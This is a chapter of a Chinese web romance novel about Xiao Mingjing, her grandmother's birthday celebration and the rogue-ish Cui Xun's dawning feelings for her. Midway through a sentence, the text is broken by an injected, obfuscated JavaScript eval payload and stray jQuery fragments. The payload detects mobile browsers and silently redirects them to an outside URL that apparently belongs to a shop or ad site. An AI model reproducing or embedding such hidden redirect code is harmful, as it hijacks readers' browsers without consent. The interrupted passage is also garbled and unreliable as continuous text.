7. 心意

作品:《和死对头求亲后

    喊话的嬷嬷语气不善,回话的却是守门的小丫头,年岁不大,面对府中年长的管事嬷嬷有些犯怵,忙着解释。


    “哎,就来,就来!实在是县主院中来了贵客,这才耽误一二。”


    那嬷嬷一看更来了劲,阴阳怪气道:“便是贵客也不该在眼下这节骨眼上拖着人不放呐!”


    大清早的客人,她以为屋里是哪家小姐,姑娘脸皮薄,便掐着嗓子颐指气使道:“巳时便要给老夫人见礼拜寿,若误了吉时,叫外头看笑话不说,还不知该怎么编排县主的不是呢!”


    原本崔珣就在气头上,又听见外头的老虔婆讲话这样难听,崔珣噔噔噔地大跨步走出门去。


    “睁开你的狗眼瞧瞧,谁敢笑话你老子我?”


    她原本想借着催人前来问问女儿甘棠之事,岂料正巧碰上这个小霸王,佟嬷嬷脸都吓白了。


    “老奴、老奴给小公爷请安,大清早地您怎么在此......”


    这话与方才萧明镜骂他的话有异曲同工之处,他崔珣拿萧明镜没法子,还拿一个老嬷嬷没法子吗?抬手便想拽人衣领


    佟嬷嬷脑中闪过道听途说来的传言,这小霸王在家中横行惯了,出门在外可没少惹是生非,打架滋事都是小事,说不准手中便有一、二条人命也说不准!


    她哪应付过这等恶霸,吓得眼看要瘫倒在地,那双迎面铁拳却被人一把握住。


    “我家嬷嬷虽惹了你,可没道理叫你一个外人来处罚。”萧明镜扯着他的手腕放下,瞥了眼佟嬷嬷,道:“今况且今日祖母做寿,府上不好见着血腥。这样吧,我看母亲府上缺个倒夜香的使唤,你既是对主子不敬,那我便送你去母亲府上赎罪吧!”


    佟嬷嬷不敢置信,哆嗦着嘴唇、双目瞪得浑圆,被人半掺着拎出院时浑身发颤,嘴里还嚷嚷着要见老夫人,要见二夫人。


    见了佟嬷嬷面色惨白的模样,院中一众丫鬟婆子都暗自高兴。


    这人一贯在府上作威作福,她们早就看不惯了!


    自从长公主搬出去住,国公爷又整日里闭门不出,府上的管家权便交由二房的周夫人。


    二老爷萧焕勤俭廉政,一多半俸银都要用来济世济贫,府产商铺的掌柜又都欺负周氏脸轻,联起手来折腾她,国公府曾一度入不敷出。


    周氏咬着牙将嫁妆贴了又贴,前些年才不得已拉下脸来请教老夫人,老夫人便派了她去协助周氏。


    这一来二去,佟嬷嬷便把自己当成国公府的第二个女主人,似是心疼自己辛苦赚来的银子,每每见到穿金戴银浑身贵气的县主时都眼不是眼的。


    要知道县主走的从来都不是大房份例!


    见人挣扎,香橼叫上院里几个在宫里待过的老妇人一同两人捆了运出府去,这场闹剧才算结束。


    崔珣哪里知道这人已经被萧明镜惦记许久,只觉得她竟然这般重视维护自己,心中怒气顿消,笑眯眯地同她说了几软和句话,方才背着手离去。


    见他脾气来得快去得也快,整个人莫名其妙、不知所云,萧明镜心道莫不是男子年岁大了皆是如此?


    这一闹耽误了许久,萧明镜披上外衫,便携了婢女匆匆赶往荣安堂。


    荣安堂已热闹了多日。


    老宁国公早年随先帝四处征战,平定四方后便封了爵。传到萧明镜父亲这辈原本是要降级袭爵,可因与平阳长公主结亲得了特恩。


    虽国公本人在朝中没了实权,可二房近些年奋起的势头十足,老夫人做寿,迎来送往的人也未见减少。


    暮春的日头照得人浑身舒服,荣安堂正房便门窗大敞,屋内站得挤挤挨挨,萧明镜打眼扫过,竟连久未归家的三房都来了人。


    抬脚刚迈过门槛,满屋人朝她看来。


    “终于肯来看我这个老婆子了?”最主位坐着的那位便是萧明镜祖母,身着鸦青色诰命服,头戴点翠凤冠,眼角上吊眼神微眯,一派雍容刻薄之相。


    “请祖母安。”萧明镜屈膝行礼,又说了一连串的贺寿吉祥话,傅氏这才露出笑来。


    三房身后站着个小姑娘,十一二岁上下的样子,见着萧明镜便挪不开眼,满目惊艳赞叹。


    萧明镜在父亲身后颔首站好,又朝她眨了眨眼。


    谁承想那小姑娘是个藏不住事的,噗嗤一声笑了出来,原本正在说话的萧熠诧异地看向她,她的母亲吕氏又狠狠瞪了一眼。


    小姑娘吐了吐舌头,红着脸不再说话。


    等全家人一道向傅氏贺了寿,屋内瞬间热闹起来,你来我往一阵寒暄,萧明镜待得没劲,便颇为亲切地拉着身后一十一二岁的姑娘说话。


    那姑娘刚开始有些无措,后见萧明镜性子不似传闻中的那般,又对衣裳花样钗环首饰又无有不知的,渐渐不再拘谨。


    又说了会话,巳时一至,府门大开,宾客入内。


    族中男丁立于仪门迎候,一众小辈跟着周氏、三房媳妇吕氏在垂花门等候,将人引入堂屋落座,便是事毕。


    宾客往来频频,萧明镜立得腿都酸了,头上还得顶着半斤重的钗环头面,日头虽还不烈,可立久了也烤得人目眩头晕。


    正当萧明镜一阵头晕眼花,眼皮发沉不住往下坠时,眼前突然暗了下来。


    睁眼一看,崔珣不知从哪儿拿了柄绸扇,正笑呵呵地替她打扇遮阳。


    “你要做什么?”萧明镜登时醒了,怕他使坏,眼神警惕。


    崔珣气道:“真是好大一个冤枉!”


    他是看她热得脸颊泛红,额角冒汗,又想到方才她为替他出气特意惩处了家中老奴,这才特意寻了一柄绸扇来,谁知她竟不领情!


    周遭做客的宗亲官眷皆知他二人打小亲近,个个眉眼柔和含笑看过来,更有人打趣问起崔珣何时要将他这小青梅娶回家去。


    崔珣原本笑着,听了这话如遭雷劈,喃喃道:“娶、娶回家?”


    说话的宾客一愣,自觉是自己没眼劲说错了话,尴尬得连连道歉,最终掩着面溜进席面,混入人群不见踪迹。


    这头崔珣一双眼直愣愣地瞧着萧明镜看,仿佛刚才听了什么大逆不道、匪夷所思之言。


    这也不怪他。


    崔珣前十几年与萧明镜厮混在一起,皆是把人当成兄弟看待,觉得她与宁玉恒、商颂没什么区别,哪怕他娘再三叮嘱,说大晟虽男女大防设得不重,他也不该再同幼时一般与玄玄亲近了。


    可他一向讲这话左耳进、右耳出,从未放在心上。


    眼下有人问他,何时将萧明镜娶回家去,他这才惊觉眼前这姑娘是能与他结成夫妻、能像他爹娘一样一辈子生活在一起的!


    崔珣的世界遭受震荡,双眼发直,一张俊脸尽显憨傻之态,看得萧明镜咯咯直笑,只恨没能让人将这一幕作成画装裱起来。


    不然她就挂在墙上天天欣赏!


    今日日头不烈,少女笑得开心,瓷白的脸颊上还带着温热的红晕,叫阳光斜斜一照,崔珣几乎能见到她脸上细小的绒毛。


    崔珣垂在身侧的手指微颤,忽而有股抬手抚摸的冲动。


    会是什么感觉?


    崔珣脑中一团乱麻。


    他没摸过女孩子的脸,可以说在此之前,在他短暂的十七年岁中未曾分化出男女的界限,所以崔珣只能联想到相似的触感。


    或许会像幼马颈侧的皮肤那般柔软温热,抚摸时能用指腹感受到一层细小的绒毛,不扎手,却叫人手心发痒,想要一直一直摸下去。


    眼看宾客越来越


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524631|203433||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多,来来往往都在往这边瞧,萧明镜见崔珣仍是满脸呆滞,忍无可忍,皱着眉伸手拧了一把他的胳膊,可谁知他胳膊上的肉异常紧实,竟然叫人无从下手。


    明明不疼,可崔珣却古怪地打了个冷颤。


    萧明镜气得仰倒,觉得这人在跟他碰瓷,骂道:“快滚快滚!你不嫌丢人我还嫌呢!”


    换成往常崔珣必是要与她斗上几句嘴,可今日不知怎的竟支支吾吾,眼神扭捏地朝她看了两眼,随即转身一溜烟


    终于送走这尊瘟神,接下来萧明镜又忙得不可开交。


    虽然以她的身份、辈分不用亲自招待宾客,可作为主人家却需要与同辈寒暄交际,等开宴后再随着父亲分桌敬酒。


    或许她今日显得颇为和顺,三房的姑娘萧明薇缠着她不放,一会要她将京中时兴的头花样式,一会问问京中女子春日作何消遣。


    “我前些天随娘进城时,瞧见街上女子流行用翠钿贴在额间用装饰。”萧明薇面露向往,“明镜阿姐,你快说说是也不是?”


    短短半日,她已经从‘二堂姐’变成了‘明镜阿姐’,就好像她只要说一句不是,这姑娘便会将街上所有翠钿额饰的女子划为异类。


    萧明镜只好点头称是,又给她细细讲了其中缘由。


    这翠钿便是由金箔、翠羽作为装饰点缀额间,最早多为教坊中的伶人所用,不知何时在京中贵女中间也流行起来。


    萧明薇伸着小手摸着自己光秃秃的额间,惆怅道:“我今日没有贴花钿,又见了这老些人,她们会不会都在暗自笑话我是乡野之人?”


    萧明镜诧异地瞥她一眼,道:“你是国公府的姑娘,谁敢笑话你?”


    萧明薇有些低落:“明面上当然不会,可、可私下里呢?”


    “管天管地,难不成还要管别人脑袋里怎么想?”萧明镜亲自替她剥了个荔枝放在盘中,“若是你整天这也要管,那也要管,岂非累都要累死了?”


    萧明薇年岁小,这话听进耳朵却未达心,仍闷闷不乐地坐在凳上。


    萧明镜拿她没辙,便将人带去一处。


    “你们府上的园子可真好看!”萧明薇转着脑袋,眼睛在园中草木上一一溜过,“我家的园子就没有这么大!”


    萧明镜提醒道:“这也是你家。”


    萧明薇摇头:“爹爹说这国公府是国公爷的家,明镜阿姐的爹爹是国公爷吗?”


    萧明镜点头。


    萧明薇叹了声气,随即重振旗鼓,拉起她的手道:“阿姐以后可以到蜀州来找我!我家虽比不上京城繁华,园子不如这里大,却别有一番风景!”


    二人说话的功夫,眼前景色一变,一座三尺高的戏楼便跃然眼前。


    四面朱漆雕花栏杆,台上铺着大红织花福禄寿毯,七八名化着浓妆的伶人正在台前舞刀弄扇地排练着,只等一会儿宾客移步至此。


    萧明镜直接将人带至后台。


    青灰幔帐将前、后两台分隔开来,台前光鲜亮丽,台后则分区有秩,前几名女子正对着黄铜菱花镜贴花黄,手边平铺排列着各色花钿、翠羽与金箔。


    萧明薇没来过这种地方,又惊又奇,一双眼溜溜地转来转去。


    “叫你们最好的妆娘过来。”萧明镜对领班头目道。


    来的娘子面容姣好,身如柳细,脸上化着旦妆,开口时嗓音清亮婉转,如暖意乍临后的淙淙溪水,潺潺流入人心。


    萧明薇正闭着眼由那伶人娘子在额间装饰翠钿,只听帘后一男子吵吵嚷嚷走来。


    “本公爷正同人讲话,是谁这般无礼将人叫了出去?”


    萧明镜闻言转头,只见一柄乌骨折扇将青黛色的粗布帘子掀开,方才刚见过面的崔珣侧头走了进来。